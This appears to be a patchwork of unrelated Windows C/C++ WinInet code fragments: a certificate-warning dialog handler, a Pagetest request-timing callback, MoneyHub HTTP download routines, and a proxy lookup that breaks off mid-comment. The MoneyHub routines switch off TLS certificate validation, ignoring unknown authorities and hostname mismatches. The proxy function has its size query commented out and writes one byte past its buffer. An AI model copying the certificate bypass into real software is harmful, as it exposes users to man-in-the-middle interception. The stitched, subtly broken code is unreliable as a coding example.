!= 0); // Save flags,and change any global vars,and registry values if needed. if(pDlgInfo->hInternetMapped) { VERIFY(InternetSetOptionW(pDlgInfo->hInternetMapped, INTERNET_OPTION_SECURITY_FLAGS, &(pDlgInfo->dwDlgFlags), sizeof(pDlgInfo->dwDlgFlags))); } // If the user checked the "overide" check-box // let us map it,and force a general // override of all errors of this type. if(SendDlgItemMessageW(hwnd,IDC_DONT_WANT_WARNING,BM_GETCHECK,(WPARAM)0,(LPARAM)0)==BST_CHECKED) UpdateGlobalSecuritySettings(pDlgInfo->dwDlgId,pDlgInfo->dwDlgFlags); EndDialog(hwnd,TRUE); break; case IDCANCEL: case IDNO: EndDialog(hwnd,FALSE); break; } fRet = TRUE; break; } } return fRet; }
/*----------------------------------------------------------------------------- -----------------------------------------------------------------------------*/ void CWinInetEvents::OnInternetStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength) { if( active ) { // locate the request EnterCriticalSection(&cs); CWinInetRequest * r = NULL; winInetRequests.Lookup(hInternet, r); LeaveCriticalSection(&cs); if( r ) { switch(dwInternetStatus) { case INTERNET_STATUS_RESOLVING_NAME: { EnterCriticalSection(&cs); r->valid = true; r->fromNet = true; if( lpvStatusInformation ) r->hostName = (LPCSTR)lpvStatusInformation; if( !r->dnsStart ) QueryPerformanceCounter((LARGE_INTEGER*)&(r->dnsStart)); if( !r->start ) { r->start = r->dnsStart; r->docID = currentDoc; } LeaveCriticalSection(&cs); ATLTRACE(_T("[Pagetest] - (0x%08X) *** 0x%p - INTERNET_STATUS_RESOLVING_NAME : %s\n"), GetCurrentThreadId(), r->hRequest, (LPCTSTR)r->hostName); } break; case INTERNET_STATUS_NAME_RESOLVED: { ATLTRACE(_T("[Pagetest] - (0x%08X) *** 0x%p - INTERNET_STATUS_NAME_RESOLVED\n"), GetCurrentThreadId(), r->hRequest); __int64 now; QueryPerformanceCounter((LARGE_INTEGER*)&now); EnterCriticalSection(&cs); if( r->dnsStart ) { r->dnsEnd = now; r->tmDNS = now <= r->dnsStart ? 0 : (DWORD)((now - r->dnsStart) / msFreq); } LeaveCriticalSection(&cs); } break; case INTERNET_STATUS_CONNECTING_TO_SERVER: { EnterCriticalSection(&cs); r->valid = true; r->fromNet = true; if( !r->socketConnect ) QueryPerformanceCounter((LARGE_INTEGER*)&(r->socketConnect)); if( !r->start ) { r->start = r->socketConnect; r->docID = currentDoc; } // keep track of the current connect on this thread winInetThreadConnects.SetAt(GetCurrentThreadId(), r); LeaveCriticalSection(&cs); ATLTRACE(_T("[Pagetest] - (0x%08X) *** 0x%p - INTERNET_STATUS_CONNECTING_TO_SERVER\n"), GetCurrentThreadId(), r->hRequest); } break; case INTERNET_STATUS_CONNECTED_TO_SERVER: { __int64 now; QueryPerformanceCounter((LARGE_INTEGER*)&now); EnterCriticalSection(&cs); if( r->socketConnect ) { r->socketConnected = now; r->tmSocket = now <= r->socketConnect ? 0 : (DWORD)((now - r->socketConnect) / msFreq); UpdateRTT(r->peer.sin_addr.S_un.S_addr, r->tmSocket); } // remove the pending connect for this thread (no big deal if they don't all get removed in case of failure) winInetThreadConnects.RemoveKey(GetCurrentThreadId()); LeaveCriticalSection(&cs); ATLTRACE(_T("[Pagetest] - (0x%08X) *** 0x%p - INTERNET_STATUS_CONNECTED_TO_SERVER\n"), GetCurrentThreadId(), r->hRequest); } break; case INTERNET_STATUS_SENDING_REQUEST: { r->valid = true; r->fromNet = true; OverrideHost(r); if( !r->requestSent ) QueryPerformanceCounter((LARGE_INTEGER*)&(r->requestSent)); // see if this is the base page that is being requested if( !haveBasePage ) { r->basePage = true; haveBasePage = true; } if( !r->start ) { r->start = r->requestSent; r->docID = currentDoc; } // check if the request is secure DWORD flags = 0; DWORD len = sizeof(flags); if( InternetQueryOption(r->hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, &len) ) if( flags & SECURITY_FLAG_SECURE ) r->secure = true; if( r->tmSSL == -1 && r->secure && r->socketConnected ) r->tmSSL = r->requestSent <= r->socketConnected ? 0 : (DWORD)((r->requestSent - r->socketConnected) / msFreq); // get the request headers TCHAR buff[10000]; len = sizeof(buff); DWORD index = 0; memset(buff, 0, len); if( r->outHeaders.IsEmpty() ) if( HttpQueryInfo(r->hRequest, HTTP_QUERY_FLAG_REQUEST_HEADERS | HTTP_QUERY_RAW_HEADERS_CRLF , buff, &len, &index) ) r->outHeaders = buff; // get some specific headers we care about if( !r->host.GetLength() ) { len = sizeof(buff); index = 0; memset(buff, 0, len); if( HttpQueryInfo(r->hRequest, HTTP_QUERY_FLAG_REQUEST_HEADERS | HTTP_QUERY_HOST , buff, &len, &index) ) r->host = buff; } ATLTRACE(_T("[Pagetest] - *** (%d) 0x%p - INTERNET_STATUS_SENDING_REQUEST, socket %d\n"), GetCurrentThreadId(), r->hRequest, r->socketId); } break; case INTERNET_STATUS_REQUEST_SENT: { ATLTRACE(_T("[Pagetest] - *** (%d) 0x%p - INTERNET_STATUS_REQUEST_SENT : %d bytes\n"), GetCurrentThreadId(), r->hRequest, r->out); EnterCriticalSection(&cs); if( dwStatusInformationLength == sizeof(DWORD) && lpvStatusInformation ) r->out += *((LPDWORD)lpvStatusInformation); EnterCriticalSection(&cs); CSocketRequest * s = NULL; winInetThreadSends.Lookup(GetCurrentThreadId(), s); if( s ) { r->linkedRequest = s; s->linkedRequest = r; // copy over the IP information r->peer.sin_addr.S_un.S_un_b.s_b1 = s->ipAddress[0]; r->peer.sin_addr.S_un.S_un_b.s_b2 = s->ipAddress[1]; r->peer.sin_addr.S_un.S_un_b.s_b3 = s->ipAddress[2]; r->peer.sin_addr.S_un.S_un_b.s_b4 = s->ipAddress[3]; r->peer.sin_port = s->port; r->socketId = s->socketId; // zero out the bytes-in s->in = 0; r->in = 0; ATLTRACE(_T("[Pagetest] INTERNET_STATUS_REQUEST_SENT - linked socket request to wininet request for %s%s\n"), (LPCTSTR)r->host, (LPCTSTR)r->object); } else { ATLTRACE(_T("[Pagetest] INTERNET_STATUS_REQUEST_SENT - Failed to link socket request to wininet request on thread %d\n"), GetCurrentThreadId()); } LeaveCriticalSection(&cs); // clean up the mapping of the request that was sending on this thread winInetThreadSends.RemoveKey(GetCurrentThreadId()); LeaveCriticalSection(&cs); } break; case INTERNET_STATUS_RECEIVING_RESPONSE: { ATLTRACE(_T("[Pagetest] - *** (%d) 0x%p - INTERNET_STATUS_RECEIVING_RESPONSE\n"), GetCurrentThreadId(), r->hRequest); } break; case INTERNET_STATUS_REDIRECT: { CString url = CA2T((LPCSTR)lpvStatusInformation); ATLTRACE(_T("[Pagetest] - *** (%d) 0x%p - INTERNET_STATUS_REDIRECT : Redirecting to %s\n"), GetCurrentThreadId(), r->hRequest, (LPCTSTR)url); // get the headers, close out the request and start a new one for the redirect r->Done(); // update the end time if( !r->ignore ) { lastRequest = r->end; lastActivity = r->end; } // update the in and out bytes from the raw socket if( r->linkedRequest ) { r->in = ((CSocketRequest *)r->linkedRequest)->in; r->out = ((CSocketRequest *)r->linkedRequest)->out; } // get the response code and headers TCHAR buff[10000]; DWORD len = sizeof(buff); DWORD index = 0; memset(buff, 0, len); if( r->inHeaders.IsEmpty() ) if( HttpQueryInfo(r->hRequest, HTTP_QUERY_RAW_HEADERS_CRLF , buff, &len, &index) ) r->inHeaders = buff; // get the redirect code DWORD code; len = sizeof(code); index = 0; if( HttpQueryInfo(r->hRequest, HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE , &code, &len, &index) ) r->result = code; // remove it from the lookup OnInternetCloseHandle(r->hRequest); // see if we need to block the new request bool block = false; POSITION pos = blockRequests.GetHeadPosition(); while (pos && !block) { CString blockRequest = blockRequests.GetNext(pos); blockRequest.Trim(); if (blockRequest.GetLength() && url.Find(blockRequest) != -1) { block = true; blockedRequests.AddTail(url); } } if (block) { InternetCloseHandle(r->hRequest); } else { // create a new request CWinInetRequest * req = new CWinInetRequest(currentDoc); // if this is for the base page, move it to the redirected request if( r->basePage ) { basePageRedirects++; r->basePage = false; req->basePage = true; } req->verb = r->verb; req->hRequest = r->hRequest; // split up the url URL_COMPONENTS parts; memset(&parts, 0, sizeof(parts)); TCHAR scheme[10000]; TCHAR host[10000]; TCHAR object[10000]; TCHAR extra[10000]; memset(scheme, 0, sizeof(scheme)); memset(host, 0, sizeof(host)); memset(object, 0, sizeof(object)); memset(extra, 0, sizeof(extra)); parts.lpszScheme = scheme; parts.dwSchemeLength = _countof(scheme); parts.lpszHostName = host; parts.dwHostNameLength = _countof(host); parts.lpszUrlPath = object; parts.dwUrlPathLength = _countof(object); parts.lpszExtraInfo = extra; parts.dwExtraInfoLength = _countof(extra); parts.dwStructSize = sizeof(parts); if( InternetCrackUrl((LPCTSTR)url, url.GetLength(), 0, &parts) ) { req->host = host; req->object = CString(object) + extra; req->scheme = scheme; if (!req->scheme.Left(5).CompareNoCase(_T("https"))) req->secure = true; } EnterCriticalSection(&cs); winInetRequests.SetAt(req->hRequest, req); winInetRequestList.AddHead(req); OverrideHost(req); LeaveCriticalSection(&cs); AddEvent(req); } } break; case INTERNET_STATUS_RESPONSE_RECEIVED: { if( dwStatusInformationLength == sizeof(DWORD) && lpvStatusInformation ) r->in += *((LPDWORD)lpvStatusInformation); r->Done(true); // update the end time if( !r->ignore ) { lastRequest = r->end; lastActivity = r->end; } // update the in and out bytes from the raw socket if( r->linkedRequest ) { r->in = ((CSocketRequest *)r->linkedRequest)->in; r->out = ((CSocketRequest *)r->linkedRequest)->out; } ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - INTERNET_STATUS_RESPONSE_RECEIVED : %d bytes\n"), GetCurrentThreadId(), r->hRequest, r->in); } break; case INTERNET_STATUS_REQUEST_COMPLETE: { ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - INTERNET_STATUS_REQUEST_COMPLETE\n"), GetCurrentThreadId(), r->hRequest); LPINTERNET_ASYNC_RESULT result = (LPINTERNET_ASYNC_RESULT)lpvStatusInformation; if( (!r->result || (r->result == -1))&& result && !result->dwResult) { ATLTRACE(_T("[Pagetest] - *** INTERNET_STATUS_REQUEST_COMPLETE Error - %d\n"), result->dwError); r->result = result->dwError; } // get the response code and headers TCHAR buff[10000]; DWORD len = sizeof(buff); DWORD index = 0; memset(buff, 0, len); if( r->inHeaders.IsEmpty() ) if( HttpQueryInfo(r->hRequest, HTTP_QUERY_RAW_HEADERS_CRLF , buff, &len, &index) ) { CString header = r->inHeaders = buff; // get the result code out of the header ourselves index = header.Find(_T(' ')); if( index >= 0 ) { header = header.Mid(index + 1, 10); long code = _ttol((LPCTSTR)header); if( code > 0 ) r->result = (DWORD)code; } } if( !r->result || r->result == -1 ) { DWORD code; len = sizeof(code); index = 0; if( HttpQueryInfo(r->hRequest, HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE , &code, &len, &index) ) r->result = code; } // see if it was a 304 (from cache) unsigned long reqFlags = 0; len = sizeof(reqFlags); if( InternetQueryOption(r->hRequest, INTERNET_OPTION_REQUEST_FLAGS, &reqFlags, &len) ) if( reqFlags & INTERNET_REQFLAG_FROM_CACHE ) { r->result = 304; // Save away the headers we've received previously, which were the cached // headers reported from wininet. Note that wininet does not cache all // headers, so this is just a partial set of the actual headers associated // with the response. r->cachedInHeaders = r->inHeaders; r->inHeaders = _T("HTTP/1.1 304 Not Modified\nFull response not available\n"); } // update the "done" time r->Done(); // update the end time if( !r->ignore ) { lastRequest = r->end; lastActivity = r->end; } // update the in and out bytes from the raw socket if( r->linkedRequest ) { CSocketRequest * req = (CSocketRequest *)r->linkedRequest; r->in = req->in; r->out = req->out; if( req->response.code && req->response.code != -1 ) r->result = req->response.code; } // make sure that we got an IP address for it EnterCriticalSection(&cs); if( r->s && !r->peer.sin_addr.S_un.S_addr ) { CSocketInfo * soc = NULL; openSockets.Lookup(r->s, soc); if( soc ) memcpy( &r->peer, &soc->address, sizeof(SOCKADDR_IN) ); } LeaveCriticalSection(&cs); } break; } // update the activity time if( !r->ignore ) QueryPerformanceCounter((LARGE_INTEGER *)&lastActivity); } CheckStuff(); } ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - OnInternetStatusCallback - complete\n"), GetCurrentThreadId(), hInternet); }
int CDownloadThread::TransferDataPost(BOOL bWithFile) { if(!bWithFile) // 不是用文件下载数据 { ATLASSERT(NULL != m_pRead && m_nLength > 0 && NULL != m_pReadLength); if (NULL == m_pRead || m_nLength <= 0 || NULL == m_pReadLength) return ERR_PARAM; } CUrlCrack url; if (!url.Crack(m_strDownURl.c_str())) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_URLCRACKERROR, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的url = %s Crack 异常!", m_strDownURl.c_str())); return ERR_URLCRACKERROR; } NEED_STOP; m_hInetSession = ::InternetOpen(MONEYHUB_USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (m_hInetSession == NULL) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTOPEN, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的InternetOpen异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); return ERR_INTOPEN; } NEED_STOP; DWORD dwTimeOut = 60000; InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONTROL_SEND_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_SEND_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONNECT_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); m_hInetConnection = ::InternetConnect(m_hInetSession, url.GetHostName(), url.GetPort(), NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD)this); if (m_hInetConnection == NULL) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTCONNECT, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的InternetConnect异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTCONNECT; } LPCTSTR ppszAcceptTypes[2]; ppszAcceptTypes[0] = _T("*/*"); ppszAcceptTypes[1] = NULL; DWORD dwFlags = 0; if(INTERNET_DEFAULT_HTTPS_PORT == url.GetPort()) { dwFlags = INTERNET_FLAG_SECURE; } else if(INTERNET_DEFAULT_HTTP_PORT == url.GetPort()) { dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_KEEP_CONNECTION ; } m_hInetFile = HttpOpenRequest(m_hInetConnection, _T("POST"), url.GetPath(), NULL, NULL, ppszAcceptTypes, dwFlags, (DWORD)this); if (m_hInetFile == NULL) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTOPENREQ, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的HttpOpenRequest异常!LastErrCode = %d", GetLastError())); CloseHandles(); return ERR_INTOPENREQ; } if(INTERNET_DEFAULT_HTTPS_PORT == url.GetPort()) { DWORD dwOptionFlags; DWORD dwBuffLen = sizeof(dwOptionFlags); InternetQueryOption (m_hInetFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwOptionFlags, &dwBuffLen); dwOptionFlags |= (SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID); InternetSetOption (m_hInetFile, INTERNET_OPTION_SECURITY_FLAGS, &dwOptionFlags, sizeof (dwOptionFlags) ); } NEED_STOP; HttpAddRequestHeaders(m_hInetFile, _T("Content-Type: application/x-www-form-urlencoded\r\n"), -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); HttpAddRequestHeaders(m_hInetFile, _T("User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\r\n"), -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); HttpAddRequestHeaders(m_hInetFile, _T("Accept-Language: zh-CN"), -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); TCHAR szHeaders[1024]; _stprintf_s(szHeaders, _countof(szHeaders), _T("Moneyhubuid: %s\r\n"), m_strHWID.c_str()); HttpAddRequestHeaders(m_hInetFile, szHeaders, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); BOOL bSend = ::HttpSendRequest(m_hInetFile, NULL, 0, (LPVOID)m_strSendData.c_str (), m_dwPostDataLength); if (!bSend) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTSENDREQ, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的HttpSendRequest异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTSENDREQ; } NEED_STOP; TCHAR szStatusCode[32]; DWORD dwInfoSize = sizeof(szStatusCode); if (!HttpQueryInfo(m_hInetFile, HTTP_QUERY_STATUS_CODE, szStatusCode, &dwInfoSize, NULL)) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTQUREYINFO, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的HttpQueryInfo异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTQUREYINFO; } else { long nStatusCode = _ttol(szStatusCode); if (nStatusCode != HTTP_STATUS_OK) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTFILENOTFOUND, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的HttpQueryInfo异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTFILENOTFOUND; } } NEED_STOP; if (bWithFile) { m_hSaveFile = CreateFile(m_strSaveFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (m_hSaveFile == INVALID_HANDLE_VALUE) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_CREATEFILE, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的CreateFile异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_CREATEFILE; } } NEED_STOP; LPBYTE lpszData = NULL; DWORD dwSize = 0; while (true) { NEED_STOP; if (!InternetQueryDataAvailable(m_hInetFile, &dwSize, 0, 0)) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTQUERYDATAAVAILABLE, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的InternetQueryDataAvailable异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); // ERR_INTQUERYDATAAVAILABLE break; } lpszData = new BYTE[dwSize]; DWORD dwDownloaded = 0; if (!InternetReadFile(m_hInetFile, (LPVOID)lpszData, dwSize, &dwDownloaded)) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTREADFILE, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的InternetReadFile异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); delete []lpszData; CloseHandles(); return ERR_INTREADFILE; } else { if (bWithFile) // 用文件 { DWORD dwBytesWritten = 0; if (!WriteFile(m_hSaveFile, lpszData, dwDownloaded, &dwBytesWritten, NULL)) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_WRITEFILE, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataPost的WriteFile异常!LastErrCode = %d", GetLastError())); delete []lpszData; CloseHandles(); return ERR_WRITEFILE; } } else { if (m_nLength < (*m_pReadLength) + dwDownloaded) { delete []lpszData; CloseHandles(); return ERR_WRITEFILE; } memcpy(m_pRead + (*m_pReadLength), lpszData, dwDownloaded); *m_pReadLength += dwDownloaded; } delete []lpszData; if (dwDownloaded == 0) break; } } CloseHandles(); return ERR_SUCCESS; }
int CDownloadThread::TransferDataGet() { CUrlCrack url; if (!url.Crack(m_strDownURl.c_str())) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_URLCRACKERROR, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的url = %s Crack 异常!", m_strDownURl.c_str())); return ERR_URLCRACKERROR; } NEED_STOP; m_hInetSession = ::InternetOpen(MONEYHUB_USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (m_hInetSession == NULL) { NEED_STOP; CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTOPEN, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的InetOpen异常!LastErrCode = %d", GetLastError())); return ERR_INTOPEN; } NEED_STOP; DWORD dwTimeOut = 60000; InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONTROL_SEND_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_SEND_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); InternetSetOptionEx(m_hInetSession, INTERNET_OPTION_CONNECT_TIMEOUT, &dwTimeOut, sizeof(DWORD), 0); m_hInetConnection = ::InternetConnect(m_hInetSession, url.GetHostName(), url.GetPort(), NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD)this); if (m_hInetConnection == NULL) { NEED_STOP; CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTCONNECT, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的连接异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTCONNECT; } NEED_STOP; LPCTSTR ppszAcceptTypes[2]; ppszAcceptTypes[0] = _T("*/*"); ppszAcceptTypes[1] = NULL; DWORD dwFlags = 0; if(INTERNET_DEFAULT_HTTPS_PORT == url.GetPort()) { dwFlags = INTERNET_FLAG_SECURE; } else if(INTERNET_DEFAULT_HTTP_PORT == url.GetPort()) { dwFlags = INTERNET_FLAG_RELOAD /*| INTERNET_FLAG_DONT_CACHE*/ | INTERNET_FLAG_KEEP_CONNECTION; } m_hInetFile = HttpOpenRequest(m_hInetConnection, NULL, url.GetPath(), NULL, NULL, ppszAcceptTypes, dwFlags, (DWORD)this); if (m_hInetFile == NULL) { NEED_STOP; CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTOPENREQ, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的连接异常!LastErrCode = %d", GetLastError())); //OutputDebugString(strErr); CloseHandles(); return ERR_INTOPENREQ; } if(INTERNET_DEFAULT_HTTPS_PORT == url.GetPort()) { DWORD dwOptionFlags; DWORD dwBuffLen = sizeof(dwOptionFlags); InternetQueryOption (m_hInetFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwOptionFlags, &dwBuffLen); dwOptionFlags |= (SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID); InternetSetOption (m_hInetFile, INTERNET_OPTION_SECURITY_FLAGS, &dwOptionFlags, sizeof (dwOptionFlags) ); } NEED_STOP; // m_wcsOriginalFileName = m_strSaveFile; TranslanteToBreakDownloadName(m_strSaveFile, m_wcsBreakFileName); //GetBreakDownloadName(); TCHAR szHeaders[100]; _stprintf_s(szHeaders, _countof(szHeaders), _T("Moneyhubuid: %s\r\n"), m_strHWID.c_str()); HttpAddRequestHeaders(m_hInetFile, szHeaders, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); HttpAddRequestHeaders(m_hInetFile, _T("User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\r\n"), -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); if(m_bBreakDownload) { _stprintf_s(szHeaders,_countof(szHeaders),_T("Range: bytes=%d-"), IsBreakPointFile(m_wcsBreakFileName.c_str()) ); HttpAddRequestHeaders(m_hInetFile, szHeaders, -1, HTTP_ADDREQ_FLAG_ADD_IF_NEW ) ; } BOOL bSend = ::HttpSendRequest(m_hInetFile, NULL, 0, NULL, 0); if (!bSend) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTSENDREQ, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的发送请求异常!LastErrCode = %d", GetLastError())); int Error = GetLastError(); CloseHandles(); if(Error == ERROR_INTERNET_TIMEOUT && m_bBreakDownload) return ERROR_INTERNET_TIMEOUT; return ERR_INTSENDREQ; } NEED_STOP; TCHAR szStatusCode[32]; DWORD dwInfoSize = sizeof(szStatusCode); if (!HttpQueryInfo(m_hInetFile, HTTP_QUERY_STATUS_CODE, szStatusCode, &dwInfoSize, NULL)) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTQUREYINFO, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的HttpQueryInfo异常!LastErrCode = %d", GetLastError())); // OutputDebugString(strErr); CloseHandles(); return ERR_INTQUREYINFO; } else { long nStatusCode = _ttol(szStatusCode); if (nStatusCode != HTTP_STATUS_PARTIAL_CONTENT && nStatusCode != HTTP_STATUS_OK) { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTFILENOTFOUND, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的!= HTTP_STATUS_OK异常!LastErrCode = %d", GetLastError())); // OutputDebugString(strErr); CloseHandles(); return ERR_INTFILENOTFOUND; } } TCHAR szContentLength[32]; dwInfoSize = sizeof(szContentLength); if (::HttpQueryInfo(m_hInetFile, HTTP_QUERY_CONTENT_LENGTH, szContentLength, &dwInfoSize, NULL)) { if(m_bBreakDownload) m_ui64FileSize = (UINT64)_ttoi64(szContentLength) + IsBreakPointFile(m_wcsBreakFileName.c_str()); else m_ui64FileSize = (UINT64)_ttoi64(szContentLength); m_ui64TotalRead = 0; } else { CRecordProgram::GetInstance()->FeedbackError(MY_ERROR_PRO_CORE, ERR_INTFILENOTFOUND, CRecordProgram::GetInstance()->GetRecordInfo(L"TransferDataGet的HttpQueryInfo异常!LastErrCode = %d", GetLastError())); // OutputDebugString(strErr); CloseHandles(); return ERR_INTFILENOTFOUND; } NEED_STOP; if(m_bBreakDownload) return DownLoadBreakpointFile(); else return DownloadNoBreakFile(); }
LPCTSTR getIeHttpProxy() { DWORD psize=0; INTERNET_PROXY_INFO *pinfo; LPTSTR proxyString; LPTSTR p; LPTSTR q; unsigned int len; /* first see how big a buffer we need for the IPO structure */ //InternetQueryOption(NULL, INTERNET_OPTION_PROXY, NULL, &psize); if(!psize) { getIeHttpProxyError="InternetQueryOption failed to return buffer size"; return(NULL); } /* allocate memory for IPO */ pinfo = malloc (psize*sizeof(TCHAR)); if (pinfo == NULL) { getIeHttpProxyError="malloc failed (1)"; return(NULL); } /* now run the real query */ if(!InternetQueryOption(NULL, INTERNET_OPTION_PROXY, (LPVOID) pinfo, &psize)) { getIeHttpProxyError="InternetQueryOption() failed to find proxy info"; free(pinfo); return(NULL); } /* see what sort of result we got */ if(pinfo->dwAccessType == INTERNET_OPEN_TYPE_DIRECT) { /* No proxy configured */ free(pinfo); return(""); } else if(pinfo->dwAccessType == INTERNET_OPEN_TYPE_PROXY) { /* we have a proxy - now parse result string */ /* if result string does NOT contain an '=' sign then */ /* there is a single proxy for all protocols */ for (p=(LPTSTR)pinfo->lpszProxy; *p && *p != '='; p++); if(!*p) { /* single proxy */ /* allocate a new string to return */ len = 1+strlen(pinfo->lpszProxy); proxyString = malloc (len*sizeof(TCHAR)); if (proxyString == NULL) { getIeHttpProxyError="malloc failed (2)"; free(pinfo); return(NULL); } strncpy(proxyString, pinfo->lpszProxy,len); proxyString[len]=0; free(pinfo); return(proxyString); } else { /* multiple space seperated proxies defined in the form */ /* protocol=proxyhost[:port] */ /* we want the one marked "http=", if any. */ p=(LPTSTR)pinfo->lpszProxy; while(*p && strncmp(p, "http=", 5)) { for(; *p && *p != ' '; p++); if(*p) p++; } if(*p) { /* found the proxy */ p+=5; for(q=p; *q && *q != ' '; q++); /* allocate a buffer for the proxy information */ len=1+(q-p); proxyString=malloc(len*sizeof(TCHAR)); if(proxyString==NULL) { getIeHttpProxyError="malloc failed (3)"; free(pinfo); return(NULL); } strncpy(proxyString, p, len); proxyString[len]=0; free(pinfo); return(proxyString); } else { /* 